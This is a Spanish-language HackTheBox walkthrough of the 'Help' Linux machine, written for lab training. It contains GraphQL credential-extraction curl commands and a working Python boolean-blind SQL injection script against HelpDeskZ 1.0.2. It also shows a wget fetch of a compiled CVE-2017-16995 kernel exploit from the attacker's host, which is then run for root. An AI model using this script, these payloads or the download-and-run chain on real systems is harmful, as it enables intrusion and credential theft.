Help – HackTheBox
Dificultad: Easy
Sistema operativo: Linux
⚠️ Contenido educativo.
💡 Pistas
- Hay dos webs, en 80 y en 3000, hay que explotar las 2.
- Mirar los headers.
- Mirar bien las versiones de los servicios corriendo, hay SQLi.
- Mucho ojo con la versión del kernel una vez dentro.
🔍 Enumeración inicial
1. Escaneo completo (todos los puertos TCP)
sudo nmap -p- -T5 <IP>
Resultado relevante:
- 22/tcp
- 80/tcp
- 3000/tcp
2. Escaneo focalizado (scripts y versiones)
sudo nmap -p 22,80,3000 -sC -sV <IP>
Resumen:
- 22/tcp OpenSSH 7.2p2 Ubuntu 4ubuntu2.6
- 80/tcp Apache httpd 2.4.18 (Ubuntu)
- 3000/tcp Node.js Express framework (responde JSON; sin título)
Nota: En el primer barrido Nmap etiquetó 3000 como “ppp” (fingerprint incompleto). Con -sV se corrige a Express.
3. Enumeración web
Accedemos a http://help.htb y solo muestra la página por defecto de Apache (sin contenido propio). Indica que probablemente el VirtualHost principal no está configurado o hay contenidos en rutas secundarias.
Lanzamos fuerza bruta de directorios:
gobuster dir -u http://help.htb -w <wordlist>
Resultados relevantes:
- /support (301) → portal HelpDeskZ
- /javascript (301)
- /server-status (403) (mod_status habilitado pero restringido)
Al entrar en /support vemos el portal HelpDeskZ (formulario de login + knowledgebase).
4. Identificación de versión de HelpDeskZ
Obtenemos la versión accediendo directamente a /support/readme.html (archivo README distribuido con la aplicación).
La versión 1.0.2 de HelpDeskZ está asociada en fuentes públicas a varias vulnerabilidades (ej. subida arbitraria de archivos no autenticada, SQLi autenticada con exfiltración de datos...), lo que potencialmente permitiría obtener ejecución remota encadenando los vectores.
Notas rápidas:
- Necesitamos credenciales antes de intentar exploits que requieran autenticación (posible SQLi autenticada, descargas de adjuntos, etc.).
- Continuamos enumerando para obtener un correo/usuario o algún leak.
5. Enumeración del servicio en 3000
Pasamos al puerto 3000 buscando credenciales. Al acceder obtenemos una respuesta JSON con un mensaje orientativo:
Revisando los headers vemos “X-Powered-By: Express”:
Observaciones:
- API minimalista que devuelve un mensaje dirigido a “Shiv” indicando encontrar credenciales mediante una “query”.
- El wording sugiere que podría existir un endpoint de consulta (posible /graphql, /api/query, parámetros ?q=, etc.).
- Próximo paso: fuzz de rutas y parámetros para localizar punto de extracción de credenciales.
Accioness:
# Buscar si existe endpoint GraphQL
curl -i http://help.htb:3000/graphql
# Si responde 200/400, intentar introspección
curl -s -X POST http://help.htb:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"query IntrospectionQuery { __schema { types { name } } }"}'
5.2 Enumeración GraphQL para extraer credenciales
- Introspección de tipos:
curl -s -X POST http://help.htb:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ __schema { types { name } } }"}'
- Campos del tipo User:
curl -s -X POST http://help.htb:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"query { __type(name: \"User\") { name fields { name type { name kind ofType { name kind } } } } }"}'
- Contenido (usuario y password):
curl -s -X POST http://help.htb:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ user { username password } }"}'
5.3 Crack del hash y login en HelpDeskZ
La query GraphQL devolvió el campo password en formato hash (MD5). Procedimos a crackearlo:
Con la contraseña en texto claro probamos el acceso en /support usando el correo obtenido:
Autenticación correcta, accedemos al dashboard del usuario:
(Próximo paso: explotar vulnerabilidades autenticadas de HelpDeskZ v1.0.2.)
6. SQL Injection autenticada (Exploit-DB 41200)
La versión 1.0.2 (y anteriores) documentada en Exploit-DB (ID 41200) presenta una SQL Injection autenticada que permite extraer información sensible (usuarios, hashes) y descargar adjuntos sin autorización.
Tipo de SQLi:
- Es una inyección autenticada de tipo boolean‑based blind (condicional).
- El parámetro vulnerable (en un campo de búsqueda/listado dentro del panel autenticado) permite introducir una condición SQL que altera la respuesta (p.ej. número de resultados o contenido mostrado).
- No se devuelven directamente errores con detalles de la base de datos, así que no es un error-based clásico; la exfiltración se hace caracter a caracter evaluando TRUE/FALSE.
- Puede combinarse con técnicas de substrings (SUBSTRING, ASCII) para reconstruir hashes de contraseña u otros campos.
Flujo típico de explotación:
- Autenticarse con las credenciales obtenidas.
- Localizar el parámetro de búsqueda / filtro.
- Enviar payloads booleanos (ej: ' OR (ascii(substring((SELECT password FROM staff LIMIT 1),1,1))>77) -- ).
- Automatizar para iterar posiciones y caracteres hasta recuperar el hash completo.
- Crackear el hash (ya mostrado antes) o reutilizarlo si hay reutilización de credenciales en otros servicios.
Esto encadena con la potencial subida
6.1 Script usado para la extracción (Boolean Blind SQLi)
Usamos un script simple en Python3 que automatiza la extracción carácter a carácter del hash del staff (tabla staff). Debes AJUSTAR antes de ejecutar:
Script:
#!/usr/bin/python3
import requests
import string
# Cookies de sesión (ACTUALIZA con las tuyas)
cookies = {
'lang': 'english',
'PHPSESSID': '<TU_PHPSESSID',
'usrhash': '<TU USRHASH>'
}
# URL base
base_url = 'http://help.htb/support/?v='
# Charset (para MD5 podrías usar: chars = '0123456789abcdef')
chars = list(string.ascii_lowercase) + list(string.digits)
password = []
max_len = 40
position = 1
while position <= max_len:
for c in chars:
payload = (
f"{base_url}view_tickets&action=ticket¶m[]=5¶m[]=attachment¶m[]=1" # Es posible que tus parametros sean diferentes (4,1,6)
f"¶m[]=7 AND substr((SELECT password FROM staff LIMIT 0,1),{position},1)='{c}'-- -"
)
resp = requests.get(payload, cookies=cookies, timeout=10)
# TRUE si NO aparece 404
if b'404' not in resp.content:
password.append(c)
print(f"[+] Carácter correcto en posición {position}: {c}")
print("Password parcial:", ''.join(password))
position += 1
break
else:
# No se encontró carácter en esta posición: fin
print(f"[+] Fin en posición {position} (no más coincidencias).")
break
print("Password completa:", ''.join(password))
6.2 Ejecución del script (ajustar cookies) y obtención del hash
Antes de lanzarlo editamos el script y sustituimos:
- PHPSESSID y usrhash por los de nuestra sesión autenticada (sin esto devuelve 302 / login).
- Los IDs (ticket_id / attachment_id / msg_id) en la parte de param[] para que apunten a un ticket y adjunto reales (creamos uno nuevo si hace falta subiendo una imagen).
Ejecutamos el script y va devolviendo cada carácter válido hasta reconstruir la cadena completa. El resultado final es una cadena hex de 40 caracteres (indicativo de SHA1):
6.3 Cracking del hash
Como parece que esta encriptada lo enviamos a CrackStation para intentar obtener la contraseña en claro. El servicio lo resuelve inmediatamente:
Ya tenemos la contraseña en texto plano lista para el siguiente paso.
7. Acceso SSH y user.txt
Con la contraseña en claro probamos acceso SSH. Tuvimos que jugar un poco con los posibles nombres (shiv, helpdesk, support, help) hasta que el usuario correcto resultó ser help (coincide con el hostname y el contexto de la máquina).
Una vez dentro leemos la flag de usuario:
8. Escalada de privilegios
Ejecutamos uname -a para identificar versión exacta del kernel. Este comando muestra: nombre del kernel, hostname, versión/release, fecha de compilación y arquitectura; sirve para mapear vulnerabilidades locales conocidas.
La versión 4.4.0-116-generic (Ubuntu 16.04) está asociada al CVE-2017-16995 (bug en el verificador eBPF que permite escalada de privilegios).
En el host atacante confirmamos exploit disponible (Exploit-DB 44298):
Transferimos o copiamos el código y lo guardamos en la máquina comprometida como exploitkernel.c, luego compilamos:
gcc exploitkernel.c -o exploit
8.1 Transferencia del binario al objetivo
Montamos un servidor HTTP simple en nuestra máquina atacante dentro del directorio donde está el binario (o lo compilamos allí):
python3 -m http.server 8000
En la máquina víctima descargamos el exploit con wget (sustituir TU_IP_VPN):
wget http://TU_IP_VPN:8000/exploit
8.2 Ejecución del exploit y root.txt
Damos permisos y ejecutamos el binario para obtener shell root:
chmod +x exploit
./exploit
id
cat /root/root.txt
Reto completado: